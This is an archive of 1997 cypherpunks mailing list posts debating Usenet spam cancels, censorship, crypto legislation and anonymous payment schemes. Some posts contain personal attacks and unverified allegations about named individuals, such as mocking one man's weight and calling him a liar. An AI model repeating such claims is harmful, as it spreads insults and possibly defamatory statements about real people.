> Spamming is a crime (theft of computer resources) 

I don't know that I can agree with that and still be for freedom.  By
that standard, so is posting or mailing "non spam" articles containing
a topic that the owner of a recipient machine is not interested
in. The magnitude of the theft is not relavent.

> and sometimes such acts may be justifiable self-defense, such as
> when I steal from my employer because they don't pay me enough, or
> when I lie on my income tax forms because I want to keep my money
> for myself.

My point of focus is freedom. Deleting others' messages is not
justifiable for -any- reason, IMO. If you have a problem with what
is sent, you should take it up with the source of the transmission.
The carriers of that transmission cannot care about the content and
still profess to be "free" in any way.
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A person was frighteningly ugly. Once he was asked how could he go on
living with such a terrible face. "Why should I be unhappy?", answered
the man. "I never see my own face; let others worry."







From rbrewer at op.net  Wed Jul 30 22:11:27 1997
From: rbrewer at op.net (Robert W. Brewer)
Date: Thu, 31 Jul 1997 13:11:27 +0800
Subject: Spam is Information?
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: 



"Dr. Jai Maharaj"  writes:
> The commission of crimes such as forgery and censorship is 
> not an acceptable excuse to stop the flow of information, even 
> if the free flow is perceived by some as a crime.

I define usenet spam as "the same message posted to more
than 10 newsgroups without crossposting."  By this
definition, spam has very little information content.  It is
almost totally redundant.  Instead of posting 1 message,
1000 messages are posted.  The 2nd through 1000th message
add no more information than the first.  This would not be a
problem if the network had infinite bandwidth and storage
capabilities.  However, finite bandwidth and storage means
that every flow of spam "information" necessarily restricts
the flow of other information.  If the network were at full
capacity and you were forced to make a choice of what
information would flow, what would it be?  Would you cancel
the 999 redundant copies of a 1000 group spam, or would you
cancel 999 random non-spam messages?  I know, you would
upgrade the network, but that is not viable.  It will
always be possible to generate more spam than the network
can handle.

Here's an analogy--consider a small physical bulletin board
on a university campus that is divided up into sections for
different categories of bulletins to help organize the
postings.  The sections might be "official university
announcements", "concerts and movies", "clubs", "for sale or
trade", and "miscellaneous".  There is a sign at the top of
the bulletin board that reads "Bulletin Board Rule: Only one
copy of an a flyer may be posted."  This is a public
bulletin board--anyone can hang things on it.

Now, let's say someone comes along and decides to plaster
the entire bulletin board with 25 big blue sheets that each
read "Make Money Fast!  Call 555-1212 for details!".  These
25 big blue sheets cover up most of the other announcements
on the bulletin board.  Let's also say that whoever made
these big blue ads used "free" university photocopiers,
where the cost of each copy is paid for by the university.

Personally, I would consider it quite a service if someone
ripped down 24 of these big blue sheets and put them in the
recycling bin, leaving only one remaining sheet either on
the "for sale or trade" or "miscellaneous" portion of the
bulletin board.

I claim that this analogy is reasonably close to the
usenet: the bulletin board has limited space (bandwidth), is
divided into topics (newsgroups), has some rules of use
(netiquette), and has some distributed costs associated with
using it (everyone pays indirectly for the copy machine).
Since this is an analogy, and not the actual usenet, there
will be differences between the real-world bulletin board
and usenet.  I'm sure these will be pointed out to
demonstrate why taking down the 24 blue sheets is censorship
and limits the free flow of information.

What about the information on the bulletin board that is
covered up by the 24 blue sheets?  Is that information not
effectively censored by the blue sheets?  On usenet, spam
takes up server space that could otherwise be used for
legitimate articles, thus causing those articles to expire
much faster than if there were no spam.  The legitimate
articles are "covered up" (censored) by the spam.

Is it "free expression" to walk into a restaurant and start
yelling and screaming so loud that no one else can carry on
a conversion?  Even if it is, you'd better be prepared for
the management to ask you to leave.  If you fail to comply,
they would likely call the police and have you removed for
disrupting their business.  What if you yell just loud
enough to be annoying to everyone in the restaurant, but
they can still converse if they make an effort to ignore
you?  Any reasonable restaurant management would still ask
you to quiet down.  The "management" of usenet has made a
simple request: don't post the same message to 1000
newsgroups or your messages will be asked (or forced) to
leave.

I agree NoCeM is better than cancelbots.  But I think
objective cancelbots (anything posted to more than 10 groups
and not crossposted is cancelled, etc.) are better than a
server full of spam.

-Rob
-- 
Robert W. Brewer  PGP 2048-bit Key ID: 03E0E635
Jesus rules!      FP: 6327 8034 7BDA D144 B40C C5E2 F760 13BB






From jya at pipeline.com  Thu Jul 31 04:49:04 1997
From: jya at pipeline.com (John Young)
Date: Thu, 31 Jul 1997 19:49:04 +0800
Subject: House Report on SAFE
Message-ID: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>



House Report 105-108, Part 2, July 25, 1997, reports on the 
recent House International Relations Committee action on 
Goodlatte's SAFE crypto bill, and includes analysis, supporting 
and dissenting views, and a few letters sent to the committee:

   http://jyx.com/hr105-108-pt2.htm  (87K)

As before offered, see HR 105-108, Part 1, published at the end of
May:

   http://jyx.com/hr105-108-pt2.txt  (94K)

Note: that's JYX.COM, (same as 108240.primehost.com) 
our temp site to fill in for remanded JYA which  is to be unJimmed 
soon, isn't it, your honor, what stink you screeching about, that's
just rotting pork.







From aba at dcs.ex.ac.uk  Thu Jul 31 05:48:25 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 31 Jul 1997 20:48:25 +0800
Subject: uncensorable net based payment system?
Message-ID: <199707311240.NAA00742@server.test.net>




The internet looks like it is slowly moving towards anonymous
micropayments for services, and metering for scarce resources.

One presumes that in 10-15 years time frame such payments will be
pervasive.  In such an environment where you can buy bandwidth per Mb
at your chosen bit-rate for anonymous ecash, and buy storage per
Mb/year, and CPU time per MIPs/year there will be a large amount of
readily marketable resources.

That is to say high velocity efficient markets will arise for resale
of bandwidth, storage and CPU hours.


The interesting question then is can we actually base an entirely net
based currency on trading of these resources.  What would the
architecture for such a payment system look like?  Design goals would
be that it should be:

	- a distributed system
	- not involve trusted banks
	- be immediately exchangeable for any currency
	- be outside the influence of governments and banks
	- be immune to government hidden taxations such as printing
	  new money as a form of tax
	- be immune from government taxation
	- be a stable form of cash (in the face of rapidly
	  depreciating assets like Mb/years of storage as mass storage
	  devices continue their price plumet.)

Possible?

Then I can have some net cash savings backed by the rights to 1Tb
of bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.

A problem with this is that the market prices of the assets is
continually dropping.  How do I hedge against this.  Can I buy
futures?  Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec
for 3 days in 1 years time at an predicted equivalent value? 

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199707311227.NAA00730@server.test.net>




Michael Stutz  writes:
> On Wed, 30 Jul 1997, Mike Duvos wrote:
> 
> > Eventually, the Eternity Server will also serve web content from a variety
> > of more permanent repositories, like Altavista and Dejanews.
> 
> How many other major repositories are there? I still have faith in Dejanews,
> but have serious doubts concerning the permanence and expanse of the
> Alta Vista database. Their Web index, at least, has not grown at the same
> pace as Web documents, and seeminly arbitrary sites trigger their "spam
> filter," where further URLs from that domain are refused.

What you say is probably true of the web index, but eternity uses
their USENET archive.  They seem to be keeping up with that.

There are a few altavistas around now.  I use one in europe somewhere
as it has faster net connectivity from where I am.


The idea of using altavista, dejanews, etc is really just a temporary
measure.  The long term goal is more abitious, but to garner interest
in eternity something has to be demonstrated first.

If someone said to you at this point that a useful resource like alt
USENET news was being cancelled forthwith, the hackers amongst those
that enjoy reading it would get together and rehost it somehow.


Here's one possible route to having a standalone distributed set of
eternity servers which does not rely on the borrowed resources of the
news search engines archives.  Modify USENET news distribution
software so that instead of expiring articles, it keeps around
articles for which there was either a direct payment made out for that
USENET node, or for which there are many requests (with micropayments)
to make it profitable to keep that article around.

The idea is to ensure that the use of the USENET node for eternity
purposes is self-funding.  If a node finds itself hosting lots of
eternity documents, it will generate enough funds to buy a bigger
disk.

Disks are cheap and getting cheaper.  I bought a 3.8Gb disk for $300 a
while back.  Reckon you could buy a 6Gb for the same price now, and
that was only a few months ago.  Probably around 5c per meg.

So here's the model: I want to post something which some government
would like to censor.  I include a storage fee of $1 digicash per
megabyte-year with my anonymous eternity document submission to USENET
cashable to a node of my choice.  (Or several payments for different
USENET nodes if I want the redundancy).

Now on top of this the USENET nodes can charge for NNTP access to that
document.  1c per meg or something to add to their profits, and to
cover bandwidth consumption.

Then we have a recursive auction market amongst USENET sites so that
if a site that does not have the article is asked for it, it will go
buy a copy from any node which will volunteer it for sale.  Then that
site will re-sell it multiple times to recuperate the buy price.

This can occur recursively, even small players with PPP lines can
participate by buying pages and re-selling them at a lower price to
reflect the poorer performance.

The way eternity is set up at the moment it is entirely feasible that
the re-seller of the eternity article would not know what it was they
were serving.

All the technology is here now (not all the software, but all the
technology, ecash, USENET, PGP signatures, encryption).  All we've got
to do is the proselytizing, advertising, putting juicy information up.

Heck I reckon perhaps if I code the USENET article reselling and
archiving stuff, I should put in a 1% royalty cut :-) 1% of eternity
document sales and storage charges might be a shit-load of money in a
few years.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



Dave Hayes  writes:

> > Not if it's done through the normal operation of the protocol.  If articles
> > needed more protection, cryptographic elements would have been part of the
> > design to begin with.  Even David Hayes has admitted that cancels are prote
> > free speech.
>
> I have admitted no such thing.

Paul Pomes is a fouil-mouthed liar.  Please see his Net.Scum page at
http://www.netscum.net/pomesp0.html.

Two questions to Tim Skirvin:
1. Why was Paul Pomes fired from UIUC academic computer facility?
2. Does Paul still weigh 400 lbs?

> > Keep repeating to yourself, "It's just usenet, it's just usenet....".
>
> I understand you are reluctant to communicate with those you deem inferior,
> however do not deny this to the rest of us that want to talk.

That's a very good point.  Paul is an enemy of the cypherpunk anonymous
remailers. He complains about them to the remailer operators' upstreams
and employers.  Paul has been sending me obscene and harrassing e-mail
and complains to PSI, my upstream, about the contents of the e-mail he
thinks originated here.  Paul is a poster child for net.censorship.

Paul publicly claims to killfile anyone he doesn't like, but then goes
out of his way to silence them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From declan at pathfinder.com  Thu Jul 31 05:49:28 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Thu, 31 Jul 1997 20:49:28 +0800
Subject: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: 



Note the following ominous excerpt from one of the letters:


"We are in unanimous agreement that congress must adopt
encryption legislation that requires the development,
manufacture, distribution and sale of only key recovery
products."

Darrell L. Sanders, President, International Association of
Chiefs of Police.

James E. Doyle, President, National Association of
Attorneys General.

Fred Scoralic, President, National Sheriffs' Association.


-Declan


On Thu, 31 Jul 1997, John Young wrote:

> House Report 105-108, Part 2, July 25, 1997, reports on the 
> recent House International Relations Committee action on 
> Goodlatte's SAFE crypto bill, and includes analysis, supporting 
> and dissenting views, and a few letters sent to the committee:
> 
>    http://jyx.com/hr105-108-pt2.htm  (87K)
> 
> As before offered, see HR 105-108, Part 1, published at the end of
> May:
> 
>    http://jyx.com/hr105-108-pt2.txt  (94K)
> 
> Note: that's JYX.COM, (same as 108240.primehost.com) 
> our temp site to fill in for remanded JYA which  is to be unJimmed 
> soon, isn't it, your honor, what stink you screeching about, that's
> just rotting pork.
> 
> 
> 






From dlv at bwalk.dm.com  Thu Jul 31 05:50:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:50:06 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 



? the Platypus {aka David Formosa}  writes:

> On Thu, 31 Jul 1997, Adam Back wrote:
>
> > Some people have been arguing that cancelling other peoples posts
> > based on their own subjective views is a good thing.
>
> Nno one is arugeing that.  Both sides in this debait aggry that that is a
> REAL BAD thing.  Spam cancelers use an objective rules.  The world would
> be a better place if this didn't happen and everybody was on NoCeM.  But
> yet this is not true.

Let me clarify two things:

1. "Spam cancellers" are not generally news admins. They are plain old
users who get kicked off of their ISPs for forging cancels. For examples,
see Net.Scum pages of Rick Buchanan, David Ritz, et al.

2. Once a cancel-forger builds a "reputation" as a "spam canceller",
s/he often diversifies into "retromodetration" - forgng cancels for
singly-postd articles whose contents they don't like and claiming that
they were "spam". For examples, see the Net.Scum pages for Guy Macon
(the retromoderator on soc.religion.quaker), Chris Lewis, et al.

> > It's censorship.  If you didn't write it, you have no business
> > cancelling it.
>
> Not even forgeries in my name?  Not even out of the control spews from
> fidonet?

Correct.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From aba at dcs.ex.ac.uk  Thu Jul 31 05:51:09 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 31 Jul 1997 20:51:09 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <199707311150.MAA00709@server.test.net>




Ryan Anderson  writes:
> At 02:03 AM 7/31/97 +0100, Adam Back wrote:
> 
> >It's censorship.  If you didn't write it, you have no business
> >cancelling it.
> 
> Have you considered the actions of the news-admins that are auto-canceling 
> anything with more than a certain number of cross-posts, or posts with "Make 
> Money Fast" in the subject? 

Here's the problem: once you start censoring anything, you've started
on the slippery slope.  Everyone has their pet things which annoy
them.

Newsadmins who auto-cancel cross-posts are acting counter-productively
and censorously.  Cross-posts result in only one copy in the
news-spool.  Most newsreaders will only display the article once to
each reader -- it doesn't save the readers time to cancel 99 of the
100 articles leaving 1 in a random group.  Probably these admins are
cancelling all 100 on the assumption that anything cross posted that
widely is garbage anyway.  That is a value judgement and something I'd
prefer not done to a newsfeed I read.  

Dumb spammers who individually post to each of 100 groups are the ones
who really consume bandwidth.  What they should be doing is
compressing their news spools and down-stream feeds by converting the
same article individually posted to many groups to articles
cross-posted to the same set of groups.

If they take issue with the number of posts an individual is making
total (eg a bot perhaps auto posting in response to articles
containing certain keywords), they should be thinking of working
towards a (low) postage requirement for each post.  Hashcash might be
an interesting interim payment method.

That'll slow down the bots and people who repost large posts too
frequently.

Other than that I think getting involved in cancelling posts is
getting dubious.  A better way to do register your negative opinion of
some posts is to issue NoCems.

> "Make Money Fast" are killed because they're illegal scams in the US and I 
> think in most of the world.

Foo on illegal.  Cryptography is illegal in some parts of the world.
Showing pictures of females revealing leg above the ankle, or showing
their faces is illegal in other parts.

If suckers want to fall for the pyramid scams let them.  Why should we
have dumb laws protecting dumb people.  There are scant enough
evolutionary pressures as it is.  Think of dumb pyramid scams, and
lotteries with sub 50% pay-outs as evolution in action.

There is no place for dumb laws on USENET.  This is the Internet man,
we don't need politicians or governments messing with it's content
thanks kindly.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



Adam Back  writes:

> James Love  writes:
> > Paul Bradley wrote:
> > > > [Pissing, Fisting and beastiality!]
> > > >
> > > > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> > >
> > > We can clearly come to no agreement here as I cannot see any material
> > > listed above which would be harmful in any way to a viewer, child or
> > > not.
> >
> >    Paul. Do you *have* any children?  Jamie
>
> I have children.  My views are generally liberal.  I could probably
> come up with a few things I think would not be appropriate
> viewing/reading at this stage (4 year old?)
>
> However, and this appears to be a point being missed here, it is
> pretty much irrelevant what I think should be appropriate for my
> children, because the person you are proposing to rate the site is the
> site's author.  It is inevitable that the site's author will have
> different views about what is suitable for children than any
> particular parent.  Pick 10 people, you'll have 10 different sets of
> what is suitable.

I have 2 kids.  I think it's highly unethical to lie to kids about the
existance of tooth fairies/gods/santa clauses.
...
> Now where does the need for government come into this picture?

Nowhere.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Thu Jul 31 05:59:51 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 20:59:51 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: 



Ryan Anderson  writes:

> At 02:03 AM 7/31/97 +0100, Adam Back wrote:
>
> >It's censorship.  If you didn't write it, you have no business
> >cancelling it.
>
> Have you considered the actions of the news-admins that are auto-canceling
> anything with more than a certain number of cross-posts, or posts with "Make
> Money Fast" in the subject? ...

I posted an MMF parody (PGP as MLM) to the cypherpunks mailing list last
January and was threatened by more than one person too stupid to recognize a
parody.

The Net.Scum who forge cancels for Usenet articles that are cross-posted into
"too many" newsgroups a) are not usually sysadmins - just control freak users,
who often get spanked from their ISPs for forging cancels, harrassing posters,
and other net-abuse, 2) have no clue how Usenet works - they claim that
cross-posting wastes bandwidth, 3) suppress not only MMF but any content they
don't like (like Guy Macon, the retromoderator of the formerly
unmoderated soc.religion.quaker, has been forging cancels for the leprosy
thread which he thinks is "off-topic")

The solution is to disable all cancels now.

> "Make Money Fast" are killed because they're illegal scams in the US and I
> think in most of the world.

Who are you to decide that a particular content is illegal, or that a Usenet
article soliciting an activity that's illegal in some jurisdictions should
be suppressed?

Unlike you, I am a news admin.  Many years ago I used to forge cancels for
MMF articles on Usenet.  Then I realized that I was very wrong to do that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Thu Jul 31 06:12:29 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 31 Jul 1997 21:12:29 +0800
Subject: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <199707311307.IAA17412@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199707311240.NAA00742 at server.test.net>, on 07/31/97 
   at 01:40 PM, Adam Back  said:

>Then I can have some net cash savings backed by the rights to 1Tb of
>bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.

>A problem with this is that the market prices of the assets is
>continually dropping.  How do I hedge against this.  Can I buy futures? 
>Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
>years time at an predicted equivalent value? 

Well I see some problems with this. Any increase in bandwith requires the
addition of hardware to accomplish it. It would be of little use to me to
have 100 Mb/sec for 3days considering the cost of installing the lines and
purchacing the extra equipment.

Also in a packet switching environment how do you plan on insuring any
amount of bandwith? The Backbone is not set-up for this. The only way in
the current enviorment that you can guarantee a given bandwith is by
having a dedicated connection point to point.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+CAbY9Co1n+aLhhAQFocgQAiJTcSODpb2ETLqB1VlWyyUI+/g3dx/uI
KMMbcqQu9D+/a6YF56b6W+LOrhO1D9P3UyNHG+0aTKXa6bQjVFH3ghVEo6D71kRR
AHeH6M+ipj1tvN/LjH/3TK9kB+rgVfLlfZvH61Iyby/A9yvyKn6xoWx30SEidRuT
k5Es3jxNh7g=
=L/du
-----END PGP SIGNATURE-----






From jya at pipeline.com  Thu Jul 31 06:15:53 1997
From: jya at pipeline.com (John Young)
Date: Thu, 31 Jul 1997 21:15:53 +0800
Subject: URL for HR105-108, Part 1
Message-ID: <1.5.4.32.19970731125318.006dcab0@pop.pipeline.com>



Mistype on the URL for SAFE Report Part 1.

As before offered, see HR 105-108, Part 1, published at the end of
May:

   http://jyx.com/hr105-108-pt1.txt






From apache at bear.apana.org.au  Thu Jul 31 06:17:54 1997
From: apache at bear.apana.org.au (Apache)
Date: Thu, 31 Jul 1997 21:17:54 +0800
Subject: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <199707311300.XAA06641@bear.apana.org.au>



   John Young said:


>Note: that's JYX.COM, (same as 108240.primehost.com) 
>our temp site to fill in for remanded JYA which  is to be unJimmed 
>soon, isn't it, your honor, what stink you screeching about, that's
>just rotting pork.

I must have missed a post on this. Have you been ordered to remove 
material by Jim Bell? Has equipment been seized?

(Feel free to cc: cypherpunks if it's relevant) 

Any background on this would be appreciated, or any pointers to texts you 
may have online already explaining it are equally welcomed.

Rgds.

-- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache







From jya at pipeline.com  Thu Jul 31 06:40:29 1997
From: jya at pipeline.com (John Young)
Date: Thu, 31 Jul 1997 21:40:29 +0800
Subject: House Report on SAFE
Message-ID: <1.5.4.32.19970731131548.006e2578@pop.pipeline.com>



Apache wrote:

>I must have missed a post on this. Have you been ordered to remove 
>material by Jim Bell? Has equipment been seized?

No, nothing's been done like that to my site that I'm aware of. My 
remarks are meant to keep Jim Bell's undue incarceration alive.
Maybe a little whistling in the dark.

It's a bitch to be isolated and targeted like Jim has been, which is 
the oft-spammed point terrorists make with political hostages unable 
or unwilling to toe tithe.







From owner-cypherpunks  Thu Jul 31 21:52:04 1997
From: owner-cypherpunks (owner-cypherpunks)
Date: Thu, 31 Jul 1997 21:52:04 -0700 (PDT)
Subject: Boost Your Sales With 40 Million New Prospects!
Message-ID: <199702161035.GAA08056@bizproplus.com>


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From whgiii at amaranth.com  Thu Jul 31 06:53:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 31 Jul 1997 21:53:14 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <199707311344.IAA17797@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199707311120.MAA00669 at server.test.net>, on 07/31/97 
   at 12:20 PM, Adam Back  said:

>Another longer term way to improve the situation is to charge some small
>token amount per article, just to encourage people to use it with some
>intelligence (use cross posts rather than separately reposting to each
>group).

>It is also entirely possible for people to have 'bots which auto-post in
>response to articles matching keywords, or matching authors. (We've seen
>a few of these on cypherpunks).

>If people want to make a nuisance for others by spewing random garbage
>via bots to newsgroups, they could post mega bytes of stuff per day and
>swamp the content.  What can you do about this?  Charging a small amount
>per post, or per megabyte would provide a small disincentive for this
>type of behaviour.  However it would never reflect the true cost to
>USENET bandwidth as a whole.

>One interesting idea which has been floated on this list in the past is
>for authors to have their free posting rate moderated by other peoples
>ratings of their posts.

>One way to implement this is for other people to pay the author for their
>articles a penny if they like the article.  That way people who write
>things which others find interesting to read get subsidized posting.  Is
>it still free speech if you have to pay for your posts if you're arguing
>for an unpopular minority?

This will not work!!!

Charging for e-mail/news posts will no nothing to prevent spam and more
than likely increase the noise on such lists. It is the spamers who have
the money to post volumns of their crap. Allso I think you will find that
it will be the fanatics who will think it worth the $$$ to get their
message out.

While I find the various mailling lists & newsgroups of intrest the
majority of them are not thet intresting that I would be willing to pay
$$$ every time I post a reply to someones questions (most of my posts
outside of CP are answering questions on programming,crypto, & OS/2). I
think that the overall quality of the newsgroups would decline if you
started paying on a per-post basis.

It should be noted that the Bandwith issue is a red-herring. It is an
antiquated concept from the Fidonet days and does not apply. The bandwith
of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
ISP customers pay for their connections to their ISP who in turn pay for
their connections to the Access providers who inturn pay for the Backbone.
The PIPE has been paid for what goes over it not an issue. If all I want
to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
ones busines but my own. If I chooses to use my bandwith to transmit a
variety of file formats using various protocols
(HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
good and some are not!! (this is not even getting into the content of the
data being shiped).

>Also, this might be an interesting information market model because
>technical experts might even find themselves with a well paid job of
>answering technical questions in newsgroups.

There is a web site that is doing exactly this. They provide forums for
users to post technical questions in which "experts" will answer them.
Upon receiving the answer the person who posted the question is requested
to rate the answer. I haven't been on the site in awhile but the last time
I was there they were working on a mechinism to compensate their "experts"
for answering questions. They had a point system based on the difaculty of
the questions. After registering with them and obtaining a certain number
of points for correctly answering questions you would be classified as an
"expert" for that forum which then would make you eligable for
compensation. I believe all funds were to be generated through web page
advertisement.


I'll see if I can find the URL for the site and post it to the list.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From dlv at bwalk.dm.com  Thu Jul 31 07:10:43 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 22:10:43 +0800
Subject: uncensorable net based payment system?
In-Reply-To: <199707311307.IAA17412@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:

>
> -----BEGIN PGP SIGNED MESSAGE-----
>
> In <199707311240.NAA00742 at server.test.net>, on 07/31/97
>    at 01:40 PM, Adam Back  said:
>
> >Then I can have some net cash savings backed by the rights to 1Tb of
> >bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
>
> >A problem with this is that the market prices of the assets is
> >continually dropping.  How do I hedge against this.  Can I buy futures?
> >Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
> >years time at an predicted equivalent value?

This is a VERY interesting idea Adam.

But it should also depend on the time of day: 10mbps at 8 pm, when all
the geeks are jerking off online, is more valuable than 10mbps at 5 am.

Another observation is that a lot of folks have a lot of unused
bandwidth which they keep just in case they need it once a day.
If they can rent out the unused bandwidth, it'll make it cheaper
to buy even more bandwidth in case they need it later - a self-feeding
growth.  Cool.

> Well I see some problems with this. Any increase in bandwith requires the
> addition of hardware to accomplish it. It would be of little use to me to
> have 100 Mb/sec for 3days considering the cost of installing the lines and
> purchacing the extra equipment.
>
> Also in a packet switching environment how do you plan on insuring any
> amount of bandwith? The Backbone is not set-up for this. The only way in
> the current enviorment that you can guarantee a given bandwith is by
> having a dedicated connection point to point.

I had a very interesting conversation the other day about how electrical
utilities (and traders) are now developing fascinating derivatives based
on the electricity as a commodity.  Sure one can trade futures on electricity.
Electricity also comes in different kinds and at different prices depending on
the geographic location and the local time; noon electricity on the east
coast is not the same as the noon electricity in chicago. All this trading
leads not just to speculation, but to better hedging, more efficient
utilization of resources, and lower prices for end-users.

I'm shocked I myself didn't think then and there of an analogy with Internet
bandwidth.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tskirvin at math.uiuc.edu  Thu Jul 31 07:12:54 1997
From: tskirvin at math.uiuc.edu (Tim Skirvin)
Date: Thu, 31 Jul 1997 22:12:54 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <19970731090023.27288@math.uiuc.edu>



Ryan Anderson  writes:

> "Make Money Fast" are killed because they're illegal scams in the US and I 
> think in most of the world.

	Make.Money.Fast is killed because it's spam a few thousand times 
over.  The legality of it doesn't come into question.

				- Tim Skirvin (tskirvin at uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon






From gwb at gwb.com.au  Thu Jul 31 22:20:20 1997
From: gwb at gwb.com.au (Global Web Builders)
Date: Thu, 31 Jul 1997 22:20:20 -0700 (PDT)
Subject: Pauline Hanson's One Nation newsletter
Message-ID: <1.5.4.16.19970801151649.499f2488@mail.ipswich.gil.com.au>


Issue 1.1

Date: 1st August 1997.

Welcome to the first Pauline Hanson's One Nation electronic newsletter.


The objectives of the newsletter are as follows:
------------------------------------------------

	To keep you informed on developments within One Nation.
	To seek assistance from you, where you are willing or able to help.
	To seek your comments and feedback on surveys that we may run from time to
time.

	
In this first issue we are listing the key One Nation web pages that will be
of interest:

The Hanson Phenomenon (main jumpstation)
http://www.gwb.com.au/hanson.html

Official Home Page of Pauline Hanson's One Nation Party
http://www.gwb.com.au/onenation

Pauline Hanson's One Nation Party Press Releases 
http://www.gwb.com.au/onenation/press/press.html

Thank you to all those who have offered support and volunteered their
services. The fight to put Australia back on track has just begun and it
will take all the support that we can get at the grass roots level to make
it happen.


One Nation contact details:
---------------------------

We will providing you with details on state branch contacts in the short term.

If you wish to contact One Nation please:  

Phone: (02) 9976 0283 or (02) 9976 0284
Fax:   (02) 9976 0285 


Pauline Hanson's One Nation


Pauline Hanson






From trei at process.com  Thu Jul 31 07:21:02 1997
From: trei at process.com (Peter Trei)
Date: Thu, 31 Jul 1997 22:21:02 +0800
Subject: Rep. White introduces Internet Protection Act
Message-ID: <199707311411.HAA18283@toad.com>



Declan writes:
 
> This is important. After all, the FCC's charter gives
> it jurisdiction over all electronic communications --
                           ^^^^^^^^^^
> though the commission has opted not to exercise its
> authority in cyberspace.

Here's a fun little thought experiment:

Considering the hairsplitting that takes place everyday
in courtrooms these days, an arguement could be made that
since virtually the entire net these days is optical fiber,
there are no 'electronic' communications taking place.

Does the FCC charter mention photonic communications as 
well? At what point does the charter allow them to 
interfere? Here's some steps on the way...


* A mime, 'working' outdoors in daylight.

The communication is entirely by photons, and the light
source is non-electronic. (I know that many people
